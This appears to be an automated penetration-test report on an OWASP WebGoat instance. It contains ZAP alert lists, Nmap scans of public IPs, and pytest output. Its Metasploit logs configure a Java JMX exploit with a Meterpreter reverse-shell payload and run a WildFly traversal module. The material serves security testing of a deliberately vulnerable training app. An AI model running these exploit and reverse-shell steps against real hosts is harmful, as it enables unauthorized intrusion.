

ASTICI



Confidential

Pentest Report

Penetration test of **OWASP WebGoat**

Consultant: ASTICI

23/11/2023

Executive Summary

Overview

ASTICI Inc. performed a Web Application Penetration Test on OWASP WebGoat applications. The scope of the testing was the following.

- CI/CD deployed OWASP Webgoat instance, deployed through Terraform scripts on Azure
- Covering sample OWASP vulnerabilities
- Covering Nmap scan
- Attempting exploit OWASP Webgoat webserver using readily available Metasploit exploits
- Static code analysis using SonarCloud
- Software Composition Analysis using Snyk

ASTICI Inc. found that with a few minor exceptions the quality and coverage of security controls in the OWASP WebGoat applications were very solid.

Resume

ASTICI Inc. is a start-up researching on Github actions repository technology to enable automated security testing for cloud native web applications.

Finding Classification

Each finding is classified as a High, Medium, or Low risk based on ASTICI Inc. considerations of potential threats, the likelihood of attack, and the possible impact of a successful attack against Instructure's OWASP WebGoat applications. Each of these factors is assessed individually and in combination to determine the overall risk designation. These assessments are based on ASTICI Inc. professional judgment and experience providing consulting services to enterprises across the country. This report outlines the findings ASTICI Inc. collected from the testing, as well as ASTICI Inc. recommendations that will assist Instructure in reducing its risks and helping remove the vulnerabilities found.

Vulnerabilities and Recommendations

The following pages show Github issues one by one, which would highlight all vulnerabilities in current application.

Priority-High Pytest-Playwright Test Output Issue

GitHub Issue number # 751

GitHub Issue URL : [Here!](#)

Playwright
pytest
"priority High"

Starting pytests....

```
===== test session starts  
=====
```

platform linux -- Python 3.10.12, pytest-7.4.3, pluggy-1.3.0

rootdir: /home/runner/work/ASTICI/ASTICI

configfile: apture=tee-sys

plugins: anyio-4.1.0, playwright-0.4.3, tornasync-0.6.0.post2, asyncio-0.21.1, base-url-2.0.0, trio-0.8.0

asyncio: mode=strict

collected 5 items

src/test_AsyncWebGoatUseCases.py ... [60%]

src/test_WebGoatUseCases.py .. [100%]

```
===== PASSES  
=====
```

```
===== 5 passed in 25.50s  
=====
```

Stop pytests....

Priority-High - OWASP WebGoat Landing Page ZAP Scan

GitHub Issue number # 750

GitHub Issue URL : [Here!](#)

- Site: <http://4.247.178.89:8080> **New Alerts**
 - **Absence of Anti-CSRF Tokens** [10202] total: 1:
 - <http://4.247.178.89:8080/WebGoat/login>
 - **Anti-CSRF Tokens Check** [20012] total: 1:
 - <http://4.247.178.89:8080/WebGoat/login>
 - **Content Security Policy (CSP) Header Not Set** [10038] total: 1:
 - <http://4.247.178.89:8080/WebGoat/login>
 - **Cookie No HttpOnly Flag** [10010] total: 1:
 - <http://4.247.178.89:8080/WebGoat/start.mvc>
 - **Cookie Slack Detector** [90027] total: 2:
 - <http://4.247.178.89:8080/WebGoat/login>
 - <http://4.247.178.89:8080/WebGoat/start.mvc>
 - **Cookie without SameSite Attribute** [10054] total: 1:
 - <http://4.247.178.89:8080/WebGoat/start.mvc>
 - **Permissions Policy Header Not Set** [10063] total: 1:
 - <http://4.247.178.89:8080/WebGoat/login>
 - **Base64 Disclosure** [10094] total: 1:
 - <http://4.247.178.89:8080/WebGoat/start.mvc>
 - **Non-Storable Content** [10049] total: 1:
 - <http://4.247.178.89:8080/WebGoat/start.mvc>
 - **Sec-Fetch-Dest Header is Missing** [90005] total: 3:
 - <http://4.247.178.89:8080/robots.txt>
 - <http://4.247.178.89:8080/WebGoat/login>
 - <http://4.247.178.89:8080/WebGoat/start.mvc>
 - **Sec-Fetch-Mode Header is Missing** [90005] total: 3:
 - <http://4.247.178.89:8080/robots.txt>
 - <http://4.247.178.89:8080/WebGoat/login>
 - <http://4.247.178.89:8080/WebGoat/start.mvc>
 - **Sec-Fetch-Site Header is Missing** [90005] total: 3:
 - <http://4.247.178.89:8080/robots.txt>
 - <http://4.247.178.89:8080/WebGoat/login>
 - <http://4.247.178.89:8080/WebGoat/start.mvc>
 - **Sec-Fetch-User Header is Missing** [90005] total: 3:
 - <http://4.247.178.89:8080/robots.txt>
 - <http://4.247.178.89:8080/WebGoat/login>
 - <http://4.247.178.89:8080/WebGoat/start.mvc>
 - **Session Management Response Identified** [10112] total: 2:
 - <http://4.247.178.89:8080/WebGoat/start.mvc>
 - <http://4.247.178.89:8080/WebGoat/start.mvc>
 - **Storable and Cacheable Content** [10049] total: 4:
 - <http://4.247.178.89:8080/>
 - <http://4.247.178.89:8080/robots.txt>
 - <http://4.247.178.89:8080/sitemap.xml>
 - <http://4.247.178.89:8080/WebGoat/login>
 - **User Agent Fuzzer** [10104] total: 24:
 - <http://4.247.178.89:8080/WebGoat>
 - <http://4.247.178.89:8080/WebGoat>
 - <http://4.247.178.89:8080/WebGoat>
 - <http://4.247.178.89:8080/WebGoat>

- <http://4.247.178.89:8080/WebGoat>
- ..

View the [following link](#) to download the report. RunnerID:6774114667

Priority-High Metasploit-ParrotOS Test output

GitHub Issue number # 749

GitHub Issue URL : [Here!](#)

parrotOS
metasploit
"priority High"

Interactive Application Security Testing :

Making sure that parrot OS docker image has all the latest updates...

Get:1 https://deb.parrot.sh/parrot parrot InRelease [14.6 kB]

Get:2 https://deb.parrot.sh/direct/parrot parrot-security InRelease [14.3 kB]

Get:3 https://deb.parrot.sh/parrot parrot-backports InRelease [14.5 kB]

Get:4 https://deb.parrot.sh/parrot parrot/main amd64 Packages [17.6 MB]

Get:5 https://deb.parrot.sh/parrot parrot/contrib amd64 Packages [107 kB]

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Get:8 https://deb.parrot.sh/direct/parrot parrot-security/non-free amd64 Packages [884 B]

Get:9 https://deb.parrot.sh/parrot parrot-backports/main amd64 Packages [1107 kB]

Get:10 https://deb.parrot.sh/parrot parrot-backports/contrib amd64 Packages [19.8 kB]

Get:11 https://deb.parrot.sh/parrot parrot-backports/non-free amd64 Packages [50.9 kB]

Fetchd 19.6 MB in 2s (10.3 MB/s)

Reading package lists...

Building dependency tree...

Reading state information...

49 packages can be upgraded. Run 'apt list --upgradable' to see them.

Reading package lists...

Building dependency tree...

Reading state information...

Calculating upgrade...

The following packages will be upgraded:

bind9-dnsutils bind9-host bind9-libs cpio curl dnsutils dpkg dpkg-dev file

libaom0 libc-bin libc-dev-bin libc-devtools libc-l10n libc6 libc6-dev
libc6-i386 libcups2 libcurl3-gnutls libcurl4 libdpkg-perl libgssapi-krb5-2
libjs-sphinxdoc libjson-c5 libk5crypto3 libkrb5-3 libkrb5support0
libmagic-mgc libmagic1 libpq5 libssl1.1 libwebp6 libwebpdemux2 libwebpmux3
libx11-6 libx11-data libxpm4 locales openssh-client openssh-server
openssh-sftp-server openssl postgresql postgresql-13 postgresql-client-13
postgresql-client-common postgresql-common python3-certifi
python3-typing-extensions

49 upgraded, 0 newly installed, 0 to remove and 0 not upgraded.

Need to get 49.8 MB of archives.

After this operation, 38.9 kB disk space will be freed.

Do you want to continue? [Y/n] Abort.

Reading package lists...

Building dependency tree...

Reading state information...

Calculating upgrade...

The following packages will be upgraded:

bind9-dnsutils bind9-host bind9-libs cpio curl dnsutils dpkg dpkg-dev file
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libc6-i386 libcups2 libcurl3-gnutls libcurl4 libdpkg-perl libgssapi-krb5-2
libjs-sphinxdoc libjson-c5 libk5crypto3 libkrb5-3 libkrb5support0
libmagic-mgc libmagic1 libpq5 libssl1.1 libwebp6 libwebpdemux2 libwebpmux3
libx11-6 libx11-data libxpm4 locales openssh-client openssh-server
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Reading package lists...

Building dependency tree...

Reading state information...

49 packages can be upgraded. Run 'apt list --upgradable' to see them.

Cleaning up any existing old code copies of security tests...

This is not a secure way to check out code;

Getting the latest code copy for all security tests...

=====

Metasploit Framework Exploit Demo :

=====

Target Web Goat Instance IP Address : 4.247.178.89

Possible Metasploit exploits or auxiliaries or payloads, that can used for attacking

=====

Sample attack executions from msfconsole CLI >>>

Sample 1 : Running Wildfly directory traversal auxiliary attack ... >>>

[*] Processing ./src/exploitwildflydir_traversal.rc for ERB directives.

resource (./src/exploitwildflydirtraversal.rc)> use auxiliary/scanner/http/wildflytraversal

resource (./src/exploitwildflydir_traversal.rc)> show options

Module options (auxiliary/scanner/http/wildfly_traversal):

Name Current Setting Required Description

Proxies no A proxy chain of format type:host:port[,type:host:port][...]

RELATIVE_FILEPATH standalone

RHOSTS yes The target host(s), see <https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html>

RPORT 8080 yes The target port (TCP)

SSL false no Negotiate SSL/TLS for outgoing connections

THREADS 1 yes The number of concurrent threads (max one per host)

TRAVERSAL_DEPTH 1 yes Traversal depth

VHOST no HTTP server virtual host

View the full module info with the info, or info -d command.

[*] resource (./src/exploitwildflydir_traversal.rc)> Ruby Code (57 bytes)

RHOSTS =>

resource (./src/exploitwildflydir_traversal.rc)> run

[-] Msf::OptionValidateError The following options failed to validate: RHOSTS

resource (./src/exploitwildflydir_traversal.rc)> exit

Sample 2 : Running Java JMX Reverse HTTPS command shell exploit... >>>

[*] Processing ./src/exploitjavajmxreversehttps.rc for ERB directives.

resource (./src/exploitjavajmxreversehttps.rc)> use exploit/multi/misc/javajmxserver

[*] No payload configured, defaulting to java/meterpreter/reverse_tcp

resource (./src/exploitjavajmxreversehttps.rc)> show options

Module options (exploit/multi/misc/javajmxserver):

Name	Current	Setting	Required	Description
------	---------	---------	----------	-------------

JMXRMI	jmxrmi	yes	The name where the JMX RMI interface is bound
--------	--------	-----	---

JMX_PASSWORD	no	The password to interact with an authenticated JMX endpoint
--------------	----	---

JMX_ROLE	no	The role to interact with an authenticated JMX endpoint
----------	----	---

RHOSTS	yes	The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
--------	-----	---

RPORT	yes	The target port (TCP)
-------	-----	-----------------------

SRVHOST	0.0.0.0	yes	The local host or network interface to listen on. This must be an address on the local machine or 0.0.0.0 to listen on all addresses.
---------	---------	-----	---

SRVPORT	8080	yes	The local port to listen on.
---------	------	-----	------------------------------

SSLCert	no	Path to a custom SSL certificate (default is randomly generated)
---------	----	--

URIPATH	no	The URI to use for this exploit (default is random)
---------	----	---

Payload options (java/meterpreter/reverse_tcp):

Name	Current	Setting	Required	Description
------	---------	---------	----------	-------------

LHOST	172.17.0.2	yes	The listen address (an interface may be specified)
-------	------------	-----	--

LPORT	4444	yes	The listen port
-------	------	-----	-----------------

Exploit target:

Id	Name
----	------

0	Generic (Java Payload)
---	------------------------

View the full module info with the info, or info -d command.

```
[*] resource (./src/exploit/javajmxreversehttps.rc)> Ruby Code (57 bytes)
```

```
RHOSTS =>
```

```
resource (./src/exploit/javajmxreversehttps.rc)> use payload/java/meterpreter/  
reverse_https
```

```
resource (./src/exploit/javajmxreversehttps.rc)> exploit
```

```
[*] Payload Handler Started as Job
```

```
resource (./src/exploit/javajmxreversehttps.rc)> exit
```

=====

Priority-Medium Nmap-ParrotOS Scan output

GitHub Issue number # 748

GitHub Issue URL : [Here!](#)

parrotOS
nmap
"priority Medium"

Nmap vulnerability scanning
for 4.247.178.89

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libjs-sphinxdoc libjson-c5 libk5crypto3 libkrb5-3 libkrb5support0
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libx11-6 libx11-data libxpm4 locales openssh-client openssh-server
openssh-sftp-server openssl postgresql postgresql-13 postgresql-client-13
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Hit:3 <https://deb.parrot.sh/parrot-parrot-backports> InRelease
Reading package lists...
Building dependency tree...
Reading state information...
49 packages can be upgraded. Run 'apt list --upgradable' to see them.
Running basic nmap scan...
Starting Nmap 7.92 (<https://nmap.org>) at 2023-11-23 07:55 UTC
Nmap scan report for 4.247.178.89
Host is up (0.22s latency).
Not shown: 65530 filtered tcp ports (no-response)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.4 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 e8:86:ae:4a:ab:e5:c1:76:d9:b4:53:ef:b9:d4:62:f9 (ECDSA)
|_ 256 80:52:14:0b:95:0e:3e:ce:b0:f4:ee:82:54:8d:5a:84 (ED25519)
80/tcp closed http
443/tcp closed https
8080/tcp open http-proxy
|_ http-title: Site doesn't have a title.
| fingerprint-strings:
| FourOhFourRequest:
| HTTP/1.1 404 Not Found
| Connection: close
| Content-Length: 0
| Date: Thu, 23 Nov 2023 07:59:14 GMT
| GenericLines, Help, Kerberos, LDAPSearchReq, LPDString, RTSPRequest, SIPOptions, SMBProgNeg, SSLSessionReq, Socks5, TLSSessionReq, TerminalServerCookie, WMSRequest, oracle-tns:
| HTTP/1.1 400 Bad Request
| Content-Length: 0
| Connection: close
| GetRequest, HTTPOptions:
| HTTP/1.1 404 Not Found

| Connection: close
| Content-Length: 0
|_ Date: Thu, 23 Nov 2023 07:59:13 GMT
9090/tcp open zeus-admin?
| fingerprint-strings:
| GenericLines, RTSPRequest, SqueezeCenter_CLI, WMSRequest, ibm-db2-das:
| HTTP/1.1 400 Bad Request
| Content-Length: 0
| Connection: close
| GetRequest:
| HTTP/1.1 404 Not Found
| Expires: 0
| Cache-Control: no-cache, no-store, max-age=0, must-revalidate
| X-XSS-Protection: 1; mode=block
| Pragma: no-cache
| X-Frame-Options: DENY
| Date: Thu, 23 Nov 2023 07:59:13 GMT
| Connection: close
| Vary: Origin
| Vary: Access-Control-Request-Method
| Vary: Access-Control-Request-Headers
| X-Content-Type-Options: nosniff
| Content-Type: application/json
| "timestamp" : "2023-11-23T07:59:13.202+00:00",
| "status" : 404,
| "error" : "Not Found",
| "path" : "/"
| HTTPOptions:
| HTTP/1.1 404 Not Found
| Expires: 0
| Cache-Control: no-cache, no-store, max-age=0, must-revalidate
| X-XSS-Protection: 1; mode=block

| Pragma: no-cache
| X-Frame-Options: DENY
| Date: Thu, 23 Nov 2023 07:59:31 GMT
| Allow: GET, HEAD, POST, PUT, DELETE, TRACE, OPTIONS, PATCH
| Connection: close
| Vary: Origin
| Vary: Access-Control-Request-Method
| Vary: Access-Control-Request-Headers
| X-Content-Type-Options: nosniff
| Content-Type: application/json
| "timestamp" : "2023-11-23T07:59:31.151+00:00",
| "status" : 404,
| "error" : "Not Found",
|_ "path" : "/"

2 services unrecognized despite returning data. If you know the service/version, please submit the following fingerprints at <https://nmap.org/cgi-bin/submit.cgi?new-service> :

=====NEXT SERVICE FINGERPRINT (SUBMIT INDIVIDUALLY)=====

SF-Port8080-TCP:V=7.92%I=7%D=11/23%Time=655F0651%P=x86_64-pc-linux-gnu%r(G

SF:etRequest,65,"HTTP/1.1 404 Not Found Connection: close\n

SF:r Content-Length: 0 Date: Thu, 23 Nov 2023 07:59:

SF:13 GMT

")%r(HTTPOptions,65,"HTTP/1.1 404 Not Found\n

SF:r Connection: close Content-Length: 0 Date: Thu, 23\n

SF:x20Nov 2023 07:59:13 GMT

")%r(RTSPRequest,42,"HTTP/1.1

SF: 400 Bad Request Content-Length: 0 Connection: clo

SF:se

")%r(FourOhFourRequest,65,"HTTP/1.1 404 Not Found

SF: Connection: close Content-Length: 0 Date: Thu, 23\n

SF:20Nov 2023 07:59:14 GMT

")%r(Socks5,42,"HTTP/1.1 40

SF:0 Bad Request Content-Length: 0 Connection: close
SF: ")%r(GenericLines,42,"HTTP/1.1 400 Bad Request Content
SF:-Length: 0 Connection: close
")%r(Help,42,"HTTP/1.1
SF:0400 Bad Request Content-Length: 0 Connection: close\n
SF:r
")%r(SSLSessionReq,42,"HTTP/1.1 400 Bad Request Con
SF:tent-Length: 0 Connection: close
")%r(TerminalServerCoo
SF:kie,42,"HTTP/1.1 400 Bad Request Content-Length: 0 C
SF:onnection: close
")%r(TLSSessionReq,42,"HTTP/1.1 400 B
SF:ad Request Content-Length: 0 Connection: close
")
SF:%r(Kerberos,42,"HTTP/1.1 400 Bad Request Content-Length:\x
SF:200 Connection: close
")%r(SMBProgNeg,42,"HTTP/1.1 400
SF: Bad Request Content-Length: 0 Connection: close \n
SF:r ")%r(LPDString,42,"HTTP/1.1 400 Bad Request Content-Len
SF:gth: 0 Connection: close
")%r(LDAPSearchReq,42,"HTTP/1\n
SF:.1 400 Bad Request Content-Length: 0 Connection: c
SF:lose
")%r(SIPOptions,42,"HTTP/1.1 400 Bad Request C
SF:ontent-Length: 0 Connection: close
")%r(WMSRequest,42,"
SF:HTTP/1.1 400 Bad Request Content-Length: 0 Connectio
SF:n: close
")%r(oracle-tns,42,"HTTP/1.1 400 Bad Reque
SF:st Content-Length: 0 Connection: close
");
=====
=====NEXT SERVICE FINGERPRINT (SUBMIT
INDIVIDUALLY)=====

SF-Port9090-TCP:V=7.92%I=7%D=11/23%Time=655F0651%P=x86_64-pc-linux-gnu%(G

SF:etRequest,1EF,"HTTP/1.1 404 Not Found Expires: 0 Cac

SF:he-Control: no-cache, no-store, max-age=0, must-revalidate\n

SF:r X-XSS-Protection: 1; mode=block Pragma: no-cache X-Fr

SF:ame-Options: DENY Date: Thu, 23 Nov 2023 07:59:13\n

SF:x20GMT Connection: close Vary: Origin Vary: Access-Co

SF:ntrol-Request-Method Vary: Access-Control-Request-Headers X-Co

SF:ntent-Type-Options: nosniff Content-Type: application/json

SF: { \"timestamp\" : \"2023-11-23T07:59:13.202+00:00\n

SF:\", \"status\" : 404, \"error\" : \"Not

SF:0Found\", \"path\" : \"\" }")%(WMSRequest,42,"HTTP/1\n

SF:.1 400 Bad Request Content-Length: 0 Connection: c

SF:lose

")%(ibm-db2-das,42,"HTTP/1.1 400 Bad Request

SF:Content-Length: 0 Connection: close

")%(SqueezeCenter_

SF:CLI,42,"HTTP/1.1 400 Bad Request Content-Length: 0 C

SF:onnection: close

")%(GenericLines,42,"HTTP/1.1 400 Ba

SF:d Request Content-Length: 0 Connection: close

")%

SF:r(HTTPOptions,22B,"HTTP/1.1 404 Not Found Expires: 0 \n

SF:nCache-Control: no-cache, no-store, max-age=0, must-revalid

SF:ate X-XSS-Protection: 1; mode=block Pragma: no-cache

SF:X-Frame-Options: DENY Date: Thu, 23 Nov 2023 07:59

SF::31 GMT Allow: GET, HEAD, POST, PUT, DELETE, TR

SF:ACE, OPTIONS, PATCH Connection: close Vary: Origin \n

SF:nVary: Access-Control-Request-Method Vary: Access-Control-Requ

SF:est-Headers X-Content-Type-Options: nosniff Content-Type: a

SF:pplication/json

{ \"timestamp\" : \"2023-11-23T07

SF::59:31.151+00:00\", \"status\" : 404, \"error

SF:\\" : \"Not Found\", \"path\" : \"/\\" }")%r(RTS

SF:PreRequest,42,\"HTTP/1.1 400 Bad Request Content-Length: 0

SF: Connection: close

");

Device type: general purpose|storage-misc|firewall

Running (JUST GUESSING): Linux 2.6.X|3.X|4.X (86%), Synology DiskStation Manager 5.X (86%), FreeBSD 6.X (85%), WatchGuard Firewall 11.X (85%)

OS CPE: cpe:/o:linux:linuxkernel:2.6.32 cpe:/o:linux:linuxkernel:3.10 cpe:/o:linux:linuxkernel:4.4 cpe:/o:linux:linuxkernel cpe:/a:synology:diskstation_manager:5.1 cpe:/o:freebsd:freebsd:6.2 cpe:/o:watchguard:fireware:11.8

Aggressive OS guesses: Linux 2.6.32 (86%), Linux 2.6.32 or 3.10 (86%), Linux 2.6.39 (86%), Linux 3.10 - 3.12 (86%), Linux 3.4 (86%), Linux 4.4 (86%), Synology DiskStation Manager 5.1 (86%), Linux 3.10 (85%), Linux 3.10 - 3.16 (85%), Linux 4.0 (85%)

No exact OS matches for host (test conditions non-ideal).

Network Distance: 2 hops

Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

TRACEROUTE (using port 80/tcp)

HOP RTT ADDRESS

1 0.02 ms 172.17.0.1

2 5823.10 ms 4.247.178.89

OS and Service detection performed. Please report any incorrect results at <https://nmap.org/submit/> .

Nmap done: 1 IP address (1 host up) scanned in 344.01 seconds

Running vulnerability scanning using basic nmap scripts - SQL Injection...

Starting Nmap 7.92 (<https://nmap.org>) at 2023-11-23 08:01 UTC

Nmap scan report for 4.247.178.89

Host is up (0.23s latency).

PORT STATE SERVICE

8080/tcp open http-proxy

Nmap done: 1 IP address (1 host up) scanned in 0.87 seconds

Running vulnerability scanning using CSS nmap script...

Starting Nmap 7.92 (<https://nmap.org>) at 2023-11-23 08:01 UTC

Nmap scan report for 4.247.178.89

Host is up (0.23s latency).

PORT STATE SERVICE

8080/tcp open http-proxy

Nmap done: 1 IP address (1 host up) scanned in 1.28 seconds

Priority High - Sonar Cloud Code Scan Report

GitHub Issue number # 747

GitHub Issue URL : [Here!](#)

SonarCloud
"priority High"

SonarCloud Scan for OWASP WebGoat

Go to https://sonarcloud.io/project/overview?id=pradyumna-muppirala_WebGoatSAST for full report of SonarCloud with Github SSO.

Priority High - Snyk Report

GitHub Issue number # 746

GitHub Issue URL : [Here!](#)

Snyk_scan
"priority High"

Snyk Scan for OWASP WebGoat

Go to <https://app.snyk.io/org/pradyumna-muppirala> for full report of Snyk with Github SSO.

Priority-High Pytest-Playwright Test Output Issue

GitHub Issue number # 745

GitHub Issue URL : [Here!](#)

Playwright
pytest
"priority High"

Starting pytests....

```
===== test session starts  
=====
```

platform linux -- Python 3.10.12, pytest-7.4.3, pluggy-1.3.0

rootdir: /home/runner/work/ASTICI/ASTICI

configfile: apture=tee-sys

plugins: anyio-4.1.0, playwright-0.4.3, tornasync-0.6.0.post2, asyncio-0.21.1, base-url-2.0.0, trio-0.8.0

asyncio: mode=strict

collected 5 items

src/test_AsyncWebGoatUseCases.py ... [60%]

src/test_WebGoatUseCases.py .. [100%]

```
===== PASSES  
=====
```

```
===== 5 passed in 25.31s  
=====
```

Stop pytests....

Priority-High - OWASP WebGoat Landing Page ZAP Scan

GitHub Issue number # 744

GitHub Issue URL : [Here!](#)

- Site: <http://4.224.244.252:8080> **New Alerts**
 - **Absence of Anti-CSRF Tokens** [10202] total: 1:
 - <http://4.224.244.252:8080/WebGoat/login>
 - **Anti-CSRF Tokens Check** [20012] total: 1:
 - <http://4.224.244.252:8080/WebGoat/login>
 - **Content Security Policy (CSP) Header Not Set** [10038] total: 1:
 - <http://4.224.244.252:8080/WebGoat/login>
 - **Cookie No HttpOnly Flag** [10010] total: 1:
 - <http://4.224.244.252:8080/WebGoat/start.mvc>
 - **Cookie Slack Detector** [90027] total: 2:
 - <http://4.224.244.252:8080/WebGoat/login>
 - <http://4.224.244.252:8080/WebGoat/start.mvc>
 - **Cookie without SameSite Attribute** [10054] total: 1:
 - <http://4.224.244.252:8080/WebGoat/start.mvc>
 - **Permissions Policy Header Not Set** [10063] total: 1:
 - <http://4.224.244.252:8080/WebGoat/login>
 - **Base64 Disclosure** [10094] total: 1:
 - <http://4.224.244.252:8080/WebGoat/start.mvc>
 - **Non-Storable Content** [10049] total: 1:
 - <http://4.224.244.252:8080/WebGoat/start.mvc>
 - **Sec-Fetch-Dest Header is Missing** [90005] total: 4:
 - <http://4.224.244.252:8080/>
 - <http://4.224.244.252:8080/robots.txt>
 - <http://4.224.244.252:8080/WebGoat/login>
 - <http://4.224.244.252:8080/WebGoat/start.mvc>
 - **Sec-Fetch-Mode Header is Missing** [90005] total: 4:
 - <http://4.224.244.252:8080/>
 - <http://4.224.244.252:8080/robots.txt>
 - <http://4.224.244.252:8080/WebGoat/login>
 - <http://4.224.244.252:8080/WebGoat/start.mvc>
 - **Sec-Fetch-Site Header is Missing** [90005] total: 4:
 - <http://4.224.244.252:8080/>
 - <http://4.224.244.252:8080/robots.txt>
 - <http://4.224.244.252:8080/WebGoat/login>
 - <http://4.224.244.252:8080/WebGoat/start.mvc>
 - **Sec-Fetch-User Header is Missing** [90005] total: 4:
 - <http://4.224.244.252:8080/>
 - <http://4.224.244.252:8080/robots.txt>
 - <http://4.224.244.252:8080/WebGoat/login>
 - <http://4.224.244.252:8080/WebGoat/start.mvc>
 - **Session Management Response Identified** [10112] total: 2:
 - <http://4.224.244.252:8080/WebGoat/start.mvc>
 - <http://4.224.244.252:8080/WebGoat/start.mvc>
 - **Storable and Cacheable Content** [10049] total: 4:
 - <http://4.224.244.252:8080/>
 - <http://4.224.244.252:8080/robots.txt>
 - <http://4.224.244.252:8080/sitemap.xml>
 - <http://4.224.244.252:8080/WebGoat/login>

- **User Agent Fuzzer** [10104] total: 24:
 - <http://4.224.244.252:8080/WebGoat>
 - <http://4.224.244.252:8080/WebGoat>
 - <http://4.224.244.252:8080/WebGoat>
 - <http://4.224.244.252:8080/WebGoat>
 - <http://4.224.244.252:8080/WebGoat>
 - ..

View the [following link](#) to download the report. RunnerID:6966611694

- Site: <http://4.247.178.89:8080> **New Alerts**
 - **Absence of Anti-CSRF Tokens** [10202] total: 1:
 - <http://4.247.178.89:8080/WebGoat/login>
 - **Anti-CSRF Tokens Check** [20012] total: 1:
 - <http://4.247.178.89:8080/WebGoat/login>
 - **Content Security Policy (CSP) Header Not Set** [10038] total: 1:
 - <http://4.247.178.89:8080/WebGoat/login>
 - **Permissions Policy Header Not Set** [10063] total: 1:
 - <http://4.247.178.89:8080/WebGoat/login>
 - **Sec-Fetch-Dest Header is Missing** [90005] total: 4:
 - <http://4.247.178.89:8080/>
 - <http://4.247.178.89:8080/robots.txt>
 - <http://4.247.178.89:8080/sitemap.xml>
 - <http://4.247.178.89:8080/WebGoat/login>
 - **Sec-Fetch-Mode Header is Missing** [90005] total: 4:
 - <http://4.247.178.89:8080/>
 - <http://4.247.178.89:8080/robots.txt>
 - <http://4.247.178.89:8080/sitemap.xml>
 - <http://4.247.178.89:8080/WebGoat/login>
 - **Sec-Fetch-Site Header is Missing** [90005] total: 4:
 - <http://4.247.178.89:8080/>
 - <http://4.247.178.89:8080/robots.txt>
 - <http://4.247.178.89:8080/sitemap.xml>
 - <http://4.247.178.89:8080/WebGoat/login>
 - **Sec-Fetch-User Header is Missing** [90005] total: 4:
 - <http://4.247.178.89:8080/>
 - <http://4.247.178.89:8080/robots.txt>
 - <http://4.247.178.89:8080/sitemap.xml>
 - <http://4.247.178.89:8080/WebGoat/login>
 - **Storable and Cacheable Content** [10049] total: 4:
 - <http://4.247.178.89:8080/>
 - <http://4.247.178.89:8080/robots.txt>
 - <http://4.247.178.89:8080/sitemap.xml>
 - <http://4.247.178.89:8080/WebGoat/login>
 - **User Agent Fuzzer** [10104] total: 12:
 - <http://4.247.178.89:8080/WebGoat>
 - <http://4.247.178.89:8080/WebGoat>
 - <http://4.247.178.89:8080/WebGoat>
 - <http://4.247.178.89:8080/WebGoat>
 - <http://4.247.178.89:8080/WebGoat>
 - ..

View the [following link](#) to download the report. RunnerID:6774114667

Priority-High Metasploit-ParrotOS Test output

GitHub Issue number # 743

GitHub Issue URL : [Here!](#)

parrotOS
metasploit
"priority High"

Interactive Application Security Testing :

Making sure that parrot OS docker image has all the latest updates...

Get:1 https://deb.parrot.sh/parrot parrot InRelease [14.6 kB]

Get:2 https://deb.parrot.sh/direct/parrot parrot-security InRelease [14.3 kB]

Get:3 https://deb.parrot.sh/parrot parrot-backports InRelease [14.5 kB]

Get:4 https://deb.parrot.sh/parrot parrot/main amd64 Packages [17.6 MB]

Get:5 https://deb.parrot.sh/parrot parrot/contrib amd64 Packages [107 kB]

Get:6 https://deb.parrot.sh/parrot parrot/non-free amd64 Packages [214 kB]

Get:7 https://deb.parrot.sh/direct/parrot parrot-security/main amd64 Packages [519 kB]

Get:8 https://deb.parrot.sh/direct/parrot parrot-security/non-free amd64 Packages [884 B]

Get:9 https://deb.parrot.sh/parrot parrot-backports/main amd64 Packages [1107 kB]

Get:10 https://deb.parrot.sh/parrot parrot-backports/contrib amd64 Packages [19.8 kB]

Get:11 https://deb.parrot.sh/parrot parrot-backports/non-free amd64 Packages [50.9 kB]

Fetchd 19.6 MB in 3s (6539 kB/s)

Reading package lists...

Building dependency tree...

Reading state information...

49 packages can be upgraded. Run 'apt list --upgradable' to see them.

Reading package lists...

Building dependency tree...

Reading state information...

Calculating upgrade...

The following packages will be upgraded:

bind9-dnsutils bind9-host bind9-libs cpio curl dnsutils dpkg dpkg-dev file

libaom0 libc-bin libc-dev-bin libc-devtools libc-l10n libc6 libc6-dev
libc6-i386 libcups2 libcurl3-gnutls libcurl4 libdpkg-perl libgssapi-krb5-2
libjs-sphinxdoc libjson-c5 libk5crypto3 libkrb5-3 libkrb5support0
libmagic-mgc libmagic1 libpq5 libssl1.1 libwebp6 libwebpdemux2 libwebpmux3
libx11-6 libx11-data libxpm4 locales openssh-client openssh-server
openssh-sftp-server openssl postgresql postgresql-13 postgresql-client-13
postgresql-client-common postgresql-common python3-certifi
python3-typing-extensions

49 upgraded, 0 newly installed, 0 to remove and 0 not upgraded.

Need to get 49.8 MB of archives.

After this operation, 38.9 kB disk space will be freed.

Do you want to continue? [Y/n] Abort.

Reading package lists...

Building dependency tree...

Reading state information...

Calculating upgrade...

The following packages will be upgraded:

bind9-dnsutils bind9-host bind9-libs cpio curl dnsutils dpkg dpkg-dev file
libaom0 libc-bin libc-dev-bin libc-devtools libc-l10n libc6 libc6-dev
libc6-i386 libcups2 libcurl3-gnutls libcurl4 libdpkg-perl libgssapi-krb5-2
libjs-sphinxdoc libjson-c5 libk5crypto3 libkrb5-3 libkrb5support0
libmagic-mgc libmagic1 libpq5 libssl1.1 libwebp6 libwebpdemux2 libwebpmux3
libx11-6 libx11-data libxpm4 locales openssh-client openssh-server
openssh-sftp-server openssl postgresql postgresql-13 postgresql-client-13
postgresql-client-common postgresql-common python3-certifi
python3-typing-extensions

49 upgraded, 0 newly installed, 0 to remove and 0 not upgraded.

Need to get 49.8 MB of archives.

After this operation, 38.9 kB disk space will be freed.

Do you want to continue? [Y/n] Abort.

Hit:1 <https://deb.parrot.sh/parrot> parrot InRelease

Hit:2 <https://deb.parrot.sh/direct/parrot> parrot-security InRelease

Hit:3 <https://deb.parrot.sh/parrot-parrot-backports> InRelease

Reading package lists...

Building dependency tree...

Reading state information...

49 packages can be upgraded. Run 'apt list --upgradable' to see them.

Cleaning up any existing old code copies of security tests...

This is not a secure way to check out code;

Getting the latest code copy for all security tests...

=====

Metasploit Framework Exploit Demo :

=====

Target Web Goat Instance IP Address : 4.224.244.252

Possible Metasploit exploits or auxiliaries or payloads, that can used for attacking

=====

